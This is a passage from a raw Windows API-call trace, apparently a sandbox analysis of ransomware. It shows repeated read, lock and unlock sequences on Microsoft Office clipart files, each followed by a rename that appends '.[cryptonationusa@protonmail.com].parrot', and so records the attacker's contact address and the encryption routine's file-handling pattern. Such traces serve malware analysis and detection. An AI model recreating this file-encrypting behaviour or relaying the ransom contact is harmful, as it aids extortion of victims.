ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x47ec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x47ec, lpOverlapped=0x0) returned 1 [0148.104] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.104] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4904, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.104] CloseHandle (hObject=0x27c) returned 1 [0148.104] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.107] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.208] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.208] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.209] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.209] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8b4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8b4, lpOverlapped=0x0) returned 1 [0148.210] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.210] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.210] CloseHandle (hObject=0x27c) returned 1 [0148.210] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.215] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc0c, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.215] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.216] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.217] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.217] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaf4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xaf4, lpOverlapped=0x0) returned 1 [0148.217] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.218] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc0c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.218] CloseHandle (hObject=0x27c) returned 1 [0148.218] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.222] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5bbc, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.222] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.222] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.223] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.224] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5aa4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5aa4, lpOverlapped=0x0) returned 1 [0148.224] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.225] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5bbc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.225] CloseHandle (hObject=0x27c) returned 1 [0148.225] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.228] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e10, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.228] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.229] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.230] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.230] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1cf8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1cf8, lpOverlapped=0x0) returned 1 [0148.231] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.232] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e10, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.232] CloseHandle (hObject=0x27c) returned 1 [0148.232] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.238] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x423c, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.238] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.238] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.239] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.239] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4124, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4124, lpOverlapped=0x0) returned 1 [0148.240] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.240] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x423c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.240] CloseHandle (hObject=0x27c) returned 1 [0148.241] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.292] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14144, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.293] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.293] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.297] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.297] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1402c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1402c, lpOverlapped=0x0) returned 1 [0148.302] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.303] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14144, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.303] CloseHandle (hObject=0x27c) returned 1 [0148.303] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.443] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ffc, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.444] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.444] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.445] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.445] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ee4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ee4, lpOverlapped=0x0) returned 1 [0148.446] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.449] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ffc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.449] CloseHandle (hObject=0x27c) returned 1 [0148.449] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.454] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8ec0, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.454] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.454] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.457] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.457] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8da8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8da8, lpOverlapped=0x0) returned 1 [0148.459] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.460] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8ec0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.460] CloseHandle (hObject=0x27c) returned 1 [0148.460] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.464] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1524, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.464] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.464] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.556] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.557] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x140c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x140c, lpOverlapped=0x0) returned 1 [0148.558] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.558] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1524, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.558] CloseHandle (hObject=0x27c) returned 1 [0148.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.569] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x27c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.569] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.569] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.571] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.571] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26b0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x26b0, lpOverlapped=0x0) returned 1 [0148.572] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.573] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x27c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.573] CloseHandle (hObject=0x27c) returned 1 [0148.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.577] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5788, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.577] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.577] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.578] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.579] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5670, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5670, lpOverlapped=0x0) returned 1 [0148.580] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.580] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5788, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.580] CloseHandle (hObject=0x27c) returned 1 [0148.581] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.584] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1bfe, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.584] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.584] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.587] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.587] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ae6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ae6, lpOverlapped=0x0) returned 1 [0148.588] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.588] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1bfe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.588] CloseHandle (hObject=0x27c) returned 1 [0148.588] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.592] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a40, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.592] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.592] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.594] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.594] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1928, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1928, lpOverlapped=0x0) returned 1 [0148.595] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.595] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.595] CloseHandle (hObject=0x27c) returned 1 [0148.595] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.598] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4e02, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.599] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.599] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.606] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.607] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4cea, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4cea, 